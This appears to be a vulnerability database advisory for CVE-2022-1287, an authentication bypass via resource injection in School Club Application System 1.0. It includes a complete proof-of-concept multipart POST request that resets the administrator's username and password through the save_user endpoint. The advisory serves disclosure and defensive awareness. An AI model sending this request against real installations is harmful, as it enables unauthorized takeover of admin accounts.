School Club Application System 1.0 Users.php?f=save_user resource injection

Summaryinfo

A vulnerability categorized as critical has been discovered in School Club Application System 1.0. This issue affects some unknown processing of the file /scas/classes/Users.php?f=save_user. Executing a manipulation can lead to resource injection. This vulnerability is registered as CVE-2022-1287. It is possible to launch the attack remotely. Furthermore, an exploit is available.

Detailsinfo

A vulnerability classified as critical was found in School Club Application System 1.0. This vulnerability affects an unknown functionality of the file /scas/classes/Users.php?f=save_user. The manipulation with an unknown input leads to a resource injection vulnerability. The CWE definition for the vulnerability is CWE-99. The product receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control. As an impact it is known to affect confidentiality, and integrity.

The weakness was published 04/09/2022. This vulnerability was named CVE-2022-1287. Technical details and also a public exploit are known.

It is possible to download the exploit at vuldb.com. It is declared as proof-of-concept. The code used by the exploit is:

POST /scas/classes/Users.php?f=save_user HTTP/1.1
Host: target.com
Content-Length: 785
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOJM0GBfl6KS1ELuA
Origin: http://target.com
Referer: http://target.com/scas/admin/?page=manage_account
Accept-Encoding: gzip, deflate
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

------WebKitFormBoundaryOJM0GBfl6KS1ELuA
Content-Disposition: form-data; name="id"

1
------WebKitFormBoundaryOJM0GBfl6KS1ELuA
Content-Disposition: form-data; name="firstname"

Administrator
------WebKitFormBoundaryOJM0GBfl6KS1ELuA
Content-Disposition: form-data; name="middlename"


------WebKitFormBoundaryOJM0GBfl6KS1ELuA
Content-Disposition: form-data; name="lastname"

Admin
------WebKitFormBoundaryOJM0GBfl6KS1ELuA
Content-Disposition: form-data; name="username"

admin
------WebKitFormBoundaryOJM0GBfl6KS1ELuA
Content-Disposition: form-data; name="password"

H4ck3d@
------WebKitFormBoundaryOJM0GBfl6KS1ELuA
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryOJM0GBfl6KS1ELuA--

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

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Productinfo

Name

• School Club Application System

Version

• 1.0

CPE 2.3info

• 🔍
• 🔍

CPE 2.2info

• 🔍
• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Submitinfo

Accepted

• Submit #34399: School Club Application System (SCAS) 1.0 - Authentication Bypass (by mrempy)

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